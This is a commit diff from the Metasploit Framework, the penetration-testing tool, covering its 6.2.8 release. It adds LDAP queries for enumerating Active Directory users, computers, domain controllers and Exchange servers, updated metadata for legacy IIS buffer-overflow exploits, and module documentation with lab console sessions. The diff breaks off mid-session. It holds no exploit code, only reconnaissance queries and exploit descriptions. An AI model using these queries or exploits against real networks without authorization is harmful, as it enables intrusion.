Compare commits
49 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| d1f6433a77 | |||
| a7676dc375 | |||
| e7ecd1618a | |||
| ecf8434f32 | |||
| 09ffd7f115 | |||
| a4dee1a171 | |||
| f9a951d034 | |||
| 5dfec3f746 | |||
| 94db8b957b | |||
| e46a71f595 | |||
| 526ce819c0 | |||
| e1bb088ddb | |||
| f02012a8ee | |||
| ebb15ee9e7 | |||
| e3e6afbaa3 | |||
| 2eaccd657f | |||
| dcd4caf977 | |||
| f043b121b3 | |||
| 2af8042bfa | |||
| 5fd4c6c306 | |||
| adecb0d94b | |||
| e7e3ea1a31 | |||
| 77be219bc2 | |||
| 00444a6e62 | |||
| 1dcfc3406a | |||
| 25f50e607c | |||
| 2a8d95c121 | |||
| 1e05630d26 | |||
| 2d1acc0369 | |||
| 03ebbaf2d0 | |||
| 67cf39f4b9 | |||
| 32e5884589 | |||
| c5f2507ee0 | |||
| 8c236e789e | |||
| 3c56e272a1 | |||
| 438b4b1bf8 | |||
| 2a1a8aa632 | |||
| d4809219b9 | |||
| 515bfd296e | |||
| 65b9e1cb13 | |||
| 1b5e172f29 | |||
| f8101aa8e4 | |||
| fde4d4ae22 | |||
| 59685f82f8 | |||
| 83bc954e9d | |||
| 3f63f9fcd1 | |||
| 7d111938d5 | |||
| b42654875e | |||
| 5bc618e642 |
@@ -172,7 +172,7 @@ jobs:
|
||||
|
||||
This includes:
|
||||
|
||||
- All of the item points within this [tempate](https://github.com/rapid7/metasploit-framework/blob/master/.github/ISSUE_TEMPLATE/bug_report.md)
|
||||
- All of the item points within this [template](https://github.com/rapid7/metasploit-framework/blob/master/.github/ISSUE_TEMPLATE/bug_report.md)
|
||||
- The result of the \`debug\` command in your Metasploit console
|
||||
- Screenshots showing the issues you're having
|
||||
- Exact replication steps
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.2.7)
|
||||
metasploit-framework (6.2.8)
|
||||
actionpack (~> 6.0)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
@@ -351,7 +351,7 @@ GEM
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.31)
|
||||
rex-exploitation (0.1.33)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
|
||||
+1
-1
@@ -70,7 +70,7 @@ memory_profiler, 1.0.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 4.0.4, "New BSD"
|
||||
metasploit-credential, 5.0.7, "New BSD"
|
||||
metasploit-framework, 6.2.7, "New BSD"
|
||||
metasploit-framework, 6.2.8, "New BSD"
|
||||
metasploit-model, 4.0.4, "New BSD"
|
||||
metasploit-payloads, 2.0.94, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 5.0.5, "New BSD"
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
---
|
||||
queries:
|
||||
- action: ENUM_ALL_OBJECT_CLASS
|
||||
description: 'Dump all objects containing any objectClass field.'
|
||||
filter: '(objectClass=*)'
|
||||
attributes:
|
||||
- dn
|
||||
- objectClass
|
||||
- action: ENUM_ALL_OBJECT_CATEGORY
|
||||
description: 'Dump all objects containing any objectCategory field.'
|
||||
filter: '(objectCategory=*)'
|
||||
attributes:
|
||||
- dn
|
||||
- objectCategory
|
||||
- action: ENUM_ACCOUNTS
|
||||
description: 'Dump info about all known user accounts in the domain.'
|
||||
filter: '(|(objectClass=organizationalPerson)(sAMAccountType=805306368))'
|
||||
attributes:
|
||||
- dn
|
||||
- name
|
||||
- displayName
|
||||
- samAccountName
|
||||
- userPrincipalName
|
||||
- userAccountControl
|
||||
- homeDirectory
|
||||
- homeDrive
|
||||
- profilePath
|
||||
- action: ENUM_COMPUTERS
|
||||
description: 'Dump all objects containing an objectCategory of Computer.'
|
||||
filter: '(objectCategory=Computer)'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- distinguishedName
|
||||
- dNSHostName
|
||||
- description
|
||||
- givenName
|
||||
- name
|
||||
- operatingSystemVersion
|
||||
- operatingSystemServicePack
|
||||
- action: ENUM_DOMAIN_CONTROLLERS
|
||||
description: 'Dump all known domain controllers.'
|
||||
filter: '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- distinguishedName
|
||||
- dNSHostName
|
||||
- description
|
||||
- givenName
|
||||
- name
|
||||
- operatingSystemVersion
|
||||
- operatingSystemServicePack
|
||||
- action: ENUM_EXCHANGE_SERVERS
|
||||
description: 'Dump info about all known Exchange servers.'
|
||||
filter: '(&(objectClass=msExchExchangeServer)(!(objectClass=msExchExchangeServerPolicy)))'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- distinguishedName
|
||||
- dNSHostName
|
||||
- description
|
||||
- givenName
|
||||
- name
|
||||
- operatingSystemVersion
|
||||
- operatingSystemServicePack
|
||||
- action: ENUM_EXCHANGE_RECIPIENTS
|
||||
description: 'Dump info about all known Exchange recipients.'
|
||||
filter: '(|(mailNickname=*)(proxyAddresses=FAX:*))'
|
||||
attributes:
|
||||
- dn
|
||||
- mailNickname
|
||||
- proxyAddresses
|
||||
- name
|
||||
- action: ENUM_GROUPS
|
||||
description: 'Dump info about all known groups in the LDAP environment.'
|
||||
filter: '(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))'
|
||||
attributes:
|
||||
- dn
|
||||
- name
|
||||
- groupType
|
||||
- memberof
|
||||
- action: ENUM_ORGUNITS
|
||||
description: 'Dump info about all known organizational roles in the LDAP environment.'
|
||||
filter: '(objectClass=organizationalUnit)'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
- action: ENUM_ORGROLES
|
||||
description: 'Dump info about all known organization units in the LDAP environment.'
|
||||
filter: '(objectClass=organizationalRole)'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
queries:
|
||||
# - action: SAMPLE_ACTION
|
||||
# description: 'A description.'
|
||||
# filter: '(objectClass=*)'
|
||||
# attributes:
|
||||
# - dn
|
||||
# - objectClass
|
||||
+123
-14
@@ -19425,6 +19425,53 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/ldap_query": {
|
||||
"name": "LDAP Query and Enumeration Module",
|
||||
"fullname": "auxiliary/gather/ldap_query",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2022-05-19",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Grant Willcox"
|
||||
],
|
||||
"description": "This module allows users to query an LDAP server using either a custom LDAP query, or\n a set of LDAP queries under a specific category. Users can also specify a JSON or YAML\n file containing custom queries to be executed using the RUN_QUERY_FILE action.\n If this action is specified, then QUERY_FILE_PATH must be a path to the location\n of this JSON/YAML file on disk.\n\n Users can also run a single query by using the RUN_SINGLE_QUERY option and then setting\n the QUERY_FILTER datastore option to the filter to send to the LDAP server and QUERY_ATTRIBUTES\n to a comma seperated string containing the list of attributes they are interested in obtaining\n from the results.\n\n As a third option can run one of several predefined queries by setting ACTION to the\n appropriate value. These options will be loaded from the ldap_queries_default.yaml file\n located in the MSF configuration directory, located by default at ~/.msf4/ldap_queries_default.yaml.\n\n All results will be returned to the user in table, CSV or JSON format, depending on the value\n of the OUTPUT_FORMAT datastore option. The characters || will be used as a delimiter\n should multiple items exist within a single column.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 389,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-07-19 09:48:03 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_query.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_query",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/mantisbt_admin_sqli": {
|
||||
"name": "MantisBT Admin SQL Injection Arbitrary File Read",
|
||||
"fullname": "auxiliary/gather/mantisbt_admin_sqli",
|
||||
@@ -147002,7 +147049,7 @@
|
||||
"author": [
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "This exploits a buffer overflow in the request processor of\n the Internet Printing Protocol ISAPI module in IIS. This\n module works against Windows 2000 service pack 0 and 1. If\n the service stops responding after a successful compromise,\n run the exploit a couple more times to completely kill the\n hung process.",
|
||||
"description": "This exploits a buffer overflow in the request processor of the\n Internet Printing Protocol ISAPI module in IIS. This module\n works against Windows 2000 Server and Professional SP0-SP1.\n\n If the service stops responding after a successful compromise,\n run the exploit a couple more times to completely kill the\n hung process.",
|
||||
"references": [
|
||||
"CVE-2001-0241",
|
||||
"OSVDB-3323",
|
||||
@@ -147011,18 +147058,43 @@
|
||||
"URL-https://seclists.org/lists/bugtraq/2001/May/0005.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"arch": "x86",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows 2000 English SP0-SP1"
|
||||
"Windows 2000 SP0-SP1 (Arabic)",
|
||||
"Windows 2000 SP0-SP1 (Czech)",
|
||||
"Windows 2000 SP0-SP1 (Chinese)",
|
||||
"Windows 2000 SP0-SP1 (Dutch)",
|
||||
"Windows 2000 SP0-SP1 (English)",
|
||||
"Windows 2000 SP0-SP1 (French)",
|
||||
"Windows 2000 SP0-SP1 (Finnish)",
|
||||
"Windows 2000 SP0-SP1 (German)",
|
||||
"Windows 2000 SP0-SP1 (Korean)",
|
||||
"Windows 2000 SP0-SP1 (Hungarian)",
|
||||
"Windows 2000 SP0-SP1 (Italian)",
|
||||
"Windows 2000 SP0-SP1 (Portuguese)",
|
||||
"Windows 2000 SP0-SP1 (Spanish)",
|
||||
"Windows 2000 SP0-SP1 (Swedish)",
|
||||
"Windows 2000 SP0-SP1 (Turkish)",
|
||||
"Windows 2000 Pro SP0 (Greek)",
|
||||
"Windows 2000 Pro SP1 (Greek)"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-07-09 01:36:10 +0000",
|
||||
"path": "/modules/exploits/windows/iis/ms01_023_printer.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/iis/ms01_023_printer",
|
||||
@@ -147030,6 +147102,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
@@ -147195,7 +147276,7 @@
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2002-11-20",
|
||||
"disclosure_date": "2002-11-02",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"aushack <patrick@osisecurity.com.au>"
|
||||
@@ -147209,7 +147290,7 @@
|
||||
"URL-http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"arch": "x86",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
@@ -147227,9 +147308,18 @@
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows 2000 Pro English SP0"
|
||||
"Windows 2000 Pro SP0-SP3 (English)",
|
||||
"Windows 2000 Pro SP0 (Korean)",
|
||||
"Windows 2000 Pro SP0 (Dutch)",
|
||||
"Windows 2000 Pro SP0 (Finnish)",
|
||||
"Windows 2000 Pro SP0 (Turkish)",
|
||||
"Windows 2000 Pro SP0-SP1 (Greek)",
|
||||
"Windows 2000 Pro SP1 (Arabic)",
|
||||
"Windows 2000 Pro SP1 (Czech)",
|
||||
"Windows 2000 Pro SP2 (French)",
|
||||
"Windows 2000 Pro SP2 (Portuguese)"
|
||||
],
|
||||
"mod_time": "2017-11-09 03:00:24 +0000",
|
||||
"mod_time": "2022-07-15 00:15:56 +0000",
|
||||
"path": "/modules/exploits/windows/iis/ms02_065_msadc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/iis/ms02_065_msadc",
|
||||
@@ -147237,6 +147327,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
@@ -147253,15 +147352,16 @@
|
||||
"author": [
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "This exploits a buffer overflow in NTDLL.dll on Windows 2000\n through the SEARCH WebDAV method in IIS. This particular\n module only works against Windows 2000. It should have a\n reasonable chance of success against any service pack.",
|
||||
"description": "This exploits a buffer overflow in NTDLL.dll on Windows 2000\n through the SEARCH WebDAV method in IIS. This particular\n module only works against Windows 2000. It should have a\n reasonable chance of success against SP0 to SP3.",
|
||||
"references": [
|
||||
"CVE-2003-0109",
|
||||
"OSVDB-4467",
|
||||
"BID-7116",
|
||||
"PACKETSTORM-30939",
|
||||
"MSB-MS03-007"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"arch": "x86",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
@@ -147281,7 +147381,7 @@
|
||||
"targets": [
|
||||
"Automatic Brute Force"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-07-07 20:31:57 +0000",
|
||||
"path": "/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/iis/ms03_007_ntdll_webdav",
|
||||
@@ -147289,6 +147389,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
@@ -205015,7 +205124,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-04-02 10:43:57 +0000",
|
||||
"mod_time": "2022-07-20 17:21:58 +0000",
|
||||
"path": "/modules/post/windows/gather/checkvm.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/checkvm",
|
||||
|
||||
@@ -0,0 +1,598 @@
|
||||
## Vulnerable Application
|
||||
This module allows users to query an LDAP server using either a custom LDAP query, or
|
||||
a set of LDAP queries under a specific category. Users can also specify a JSON or YAML
|
||||
file containing custom queries to be executed using the `RUN_QUERY_FILE` action.
|
||||
If this action is specified, then `QUERY_FILE_PATH` must be a path to the location
|
||||
of this JSON/YAML file on disk.
|
||||
|
||||
Users can also run a single query by using the `RUN_SINGLE_QUERY` option and then setting
|
||||
the `QUERY_FILTER` datastore option to the filter to send to the LDAP server and `QUERY_ATTRIBUTES`
|
||||
to a comma seperated string containing the list of attributes they are interested in obtaining
|
||||
from the results.
|
||||
|
||||
As a third option can run one of several predefined queries by setting `ACTION` to the
|
||||
appropriate value. These options will be loaded from the `ldap_queries_default.yaml` file
|
||||
located in the MSF configuration directory, located by default at `~/.msf4/ldap_queries_default.yaml`.
|
||||
|
||||
Note that you can override the default query settings in this way by defining a query with an
|
||||
action name that is the same as one of existing actions in the file at
|
||||
`data/auxiliary/gather/ldap_query/ldap_queries_default.yaml`. This will however prevent any updates
|
||||
for that action that may be made to the `data/auxiliary/gather/ldap_query/ldap_queries_default.yaml`
|
||||
file, which may occur as part of Metasploit updates/upgrades, from being used though, so keep this
|
||||
in mind when using the `~/.msf4/ldap_queries_default.yaml` file.
|
||||
|
||||
All results will be returned to the user in table, CSV or JSON format, depending on the value
|
||||
of the `OUTPUT_FORMAT` datastore option. The characters `||` will be used as a delimiter
|
||||
should multiple items exist within a single column.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/gather/ldap_query`
|
||||
2. Do: `set ACTION <target action>`
|
||||
3. Do: `set RHOSTS <target IP(s)>`
|
||||
4. Optional: `set RPORT <target port>` if target port is non-default.
|
||||
5: Optional: `set SSL true` if the target port is SSL enabled.
|
||||
6: Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### OUTPUT_FORMAT
|
||||
The output format to use. Can be either `csv`, `table` or `json` for
|
||||
CSV, Rex table output, or JSON output respectively.
|
||||
|
||||
### BASE_DN
|
||||
The LDAP base DN if already obtained. If not supplied, the module will
|
||||
automatically attempt to find the base DN for the target LDAP server.
|
||||
|
||||
### QUERY_FILE_PATH
|
||||
If the `ACTION` is set to `RUN_QUERY_FILE`, then this option is required and
|
||||
must be set to the full path to the JSON or YAML file containing the queries to
|
||||
be run.
|
||||
|
||||
The file format must follow the following convention:
|
||||
|
||||
```
|
||||
queries:
|
||||
- action: THE ACTION NAME
|
||||
description: "THE ACTION DESCRIPTION"
|
||||
filter: "THE LDAP FILTER"
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
```
|
||||
|
||||
Where `queries` is an array of queries to be run, each containing an `action` field
|
||||
containing the name of the action to be run, a `description` field describing the
|
||||
action, a `filter` field containing the filter to send to the LDAP server
|
||||
(aka what to search on), and the list of attributes that we are interested in from
|
||||
the results as an array.
|
||||
|
||||
### QUERY_FILTER
|
||||
Used only when the `RUN_SINGLE_QUERY` action is used. This should be set to the filter
|
||||
aka query that you want to send to the target LDAP server.
|
||||
|
||||
### QUERY_ATTRIBUTES
|
||||
Used only when the `RUN_SINGLE_QUERY` action is used. Should be a comma separated list
|
||||
of attributes to display from the full result set for each entry that was returned by the
|
||||
target LDAP server. Used to filter the results down to manageable sets of data.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### RUN_SINGLE_QUERY with Table Output
|
||||
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
|
||||
BIND_DN => normal@daforest.com
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
|
||||
BIND_PW => thePassword123
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.27.51.83
|
||||
RHOSTS => 172.27.51.83
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION RUN_SINGLE_QUERY
|
||||
ACTION => RUN_SINGLE_QUERY
|
||||
msf6 auxiliary(gather/ldap_query) > set QUERY_ATTRIBUTES dn,displayName,name
|
||||
QUERY_ATTRIBUTES => dn,displayName,name
|
||||
msf6 auxiliary(gather/ldap_query) > set QUERY_FILTER (objectClass=*)
|
||||
QUERY_FILTER => (objectClass=*)
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 172.27.51.83
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.27.51.83:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] Sending single query (objectClass=*) to the LDAP server...
|
||||
[*] DC=daforest DC=com
|
||||
==================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
name daforest
|
||||
|
||||
[*] CN=Users DC=daforest DC=com
|
||||
===========================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
name Users
|
||||
|
||||
[*] CN=Computers DC=daforest DC=com
|
||||
===============================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
name Computers
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] CN=WAPPS1000022 OU=TST OU=Tier 1 DC=daforest DC=com
|
||||
===================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
displayname WAPPS1000022
|
||||
name WAPPS1000022
|
||||
|
||||
[*] CN=WLPT1000014 OU=AZR OU=Stage DC=daforest DC=com
|
||||
=================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
displayname WLPT1000014
|
||||
name WLPT1000014
|
||||
|
||||
[*] CN=WWKS1000016 OU=T1-Roles OU=Tier 1 OU=Admin DC=daforest DC=com
|
||||
================================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
displayname WWKS1000016
|
||||
name WWKS1000016
|
||||
|
||||
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
|
||||
==========================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
displayname WVIR1000013
|
||||
name WVIR1000013
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
### RUN_QUERY_FILE with Table Output
|
||||
|
||||
Here is the sample query file we will be using:
|
||||
|
||||
```
|
||||
$ cat test.yaml
|
||||
---
|
||||
queries:
|
||||
- action: ENUM_USERS
|
||||
description: "Enumerate users"
|
||||
filter: "(|(objectClass=inetOrgPerson)(objectClass=user)(sAMAccountType=805306368)(objectClass=posixAccount))"
|
||||
columns:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
- action: ENUM_ORGUNITS
|
||||
description: "Enumerate organizational units"
|
||||
filter: "(objectClass=organizationalUnit)"
|
||||
columns:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
- action: ENUM_GROUPS
|
||||
description: "Enumerate groups"
|
||||
filter: "(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))"
|
||||
columns:
|
||||
- dn
|
||||
- name
|
||||
- groupType
|
||||
- memberof
|
||||
```
|
||||
|
||||
Here is the results of using this file with the `RUN_QUERY_FILE` action which will
|
||||
run all queries within the file one after another.
|
||||
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
|
||||
BIND_DN => normal@daforest.com
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
|
||||
BIND_PW => thePassword123
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.27.51.83
|
||||
RHOSTS => 172.27.51.83
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION RUN_QUERY_FILE
|
||||
ACTION => RUN_QUERY_FILE
|
||||
msf6 auxiliary(gather/ldap_query) > set QUERY_FILE_PATH /home/gwillcox/git/metasploit-framework/test.yaml
|
||||
QUERY_FILE_PATH => /home/gwillcox/git/metasploit-framework/test.yaml
|
||||
msf6 auxiliary(gather/ldap_query) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_query):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
|
||||
BIND_PW thePassword123 no Password for the BIND_DN
|
||||
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
|
||||
QUERY_FILE_PATH /home/gwillcox/git/metasploit-fram no Path to the JSON or YAML file to load and run queries from
|
||||
ework/test.yaml
|
||||
RHOSTS 172.27.51.83 yes The target host(s), see https://github.com/rapid7/metasploit-f
|
||||
ramework/wiki/Using-Metasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
RUN_QUERY_FILE Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE.
|
||||
|
||||
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 172.27.51.83
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.27.51.83:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] Loading queries from /home/gwillcox/git/metasploit-framework/test.yaml...
|
||||
[*] Running ENUM_USERS...
|
||||
[*] CN=Administrator CN=Users DC=daforest DC=com
|
||||
============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Built-in account for administering the computer/domain
|
||||
name Administrator
|
||||
|
||||
[*] CN=Guest CN=Users DC=daforest DC=com
|
||||
====================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Built-in account for guest access to the computer/domain
|
||||
name Guest
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] Running ENUM_ORGUNITS...
|
||||
[*] OU=Domain Controllers DC=daforest DC=com
|
||||
========================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Default container for domain controllers
|
||||
name Domain Controllers
|
||||
|
||||
[*] OU=Admin DC=daforest DC=com
|
||||
===========================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
name Admin
|
||||
|
||||
[*] OU=Tier 0 OU=Admin DC=daforest DC=com
|
||||
=====================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
name Tier 0
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] Running ENUM_GROUPS...
|
||||
[*] CN=Administrators CN=Builtin DC=daforest DC=com
|
||||
===============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483643
|
||||
name Administrators
|
||||
|
||||
[*] CN=Users CN=Builtin DC=daforest DC=com
|
||||
======================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483643
|
||||
name Users
|
||||
|
||||
[*] CN=Guests CN=Builtin DC=daforest DC=com
|
||||
=======================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483643
|
||||
name Guests
|
||||
|
||||
[*] CN=Print Operators CN=Builtin DC=daforest DC=com
|
||||
================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483643
|
||||
name Print Operators
|
||||
|
||||
[*] CN=Backup Operators CN=Builtin DC=daforest DC=com
|
||||
=================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483643
|
||||
name Backup Operators
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] CN=EL-chu-distlist1 OU=T2-Roles OU=Tier 2 OU=Admin DC=daforest DC=com
|
||||
=====================================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
grouptype -2147483646
|
||||
name EL-chu-distlist1
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
### ENUM_COMPUTERS with Table Output
|
||||
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_query):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN no The username to authenticate to LDAP server
|
||||
BIND_PW no Password for the BIND_DN
|
||||
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
|
||||
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-M
|
||||
etasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION
|
||||
set ACTION ENUM_ACCOUNTS set ACTION ENUM_DOMAIN_CONTROLLERS set ACTION ENUM_ORGROLES
|
||||
set ACTION ENUM_ALL_OBJECT_CATEGORY set ACTION ENUM_EXCHANGE_RECIPIENTS set ACTION ENUM_ORGUNITS
|
||||
set ACTION ENUM_ALL_OBJECT_CLASS set ACTION ENUM_EXCHANGE_SERVERS set ACTION RUN_QUERY_FILE
|
||||
set ACTION ENUM_COMPUTERS set ACTION ENUM_GROUPS
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
|
||||
ACTION => ENUM_COMPUTERS
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
|
||||
RHOSTS => 172.20.161.209
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
|
||||
BIND_PW => thePassword123
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
|
||||
BIND_DN => normal@daforest.com
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
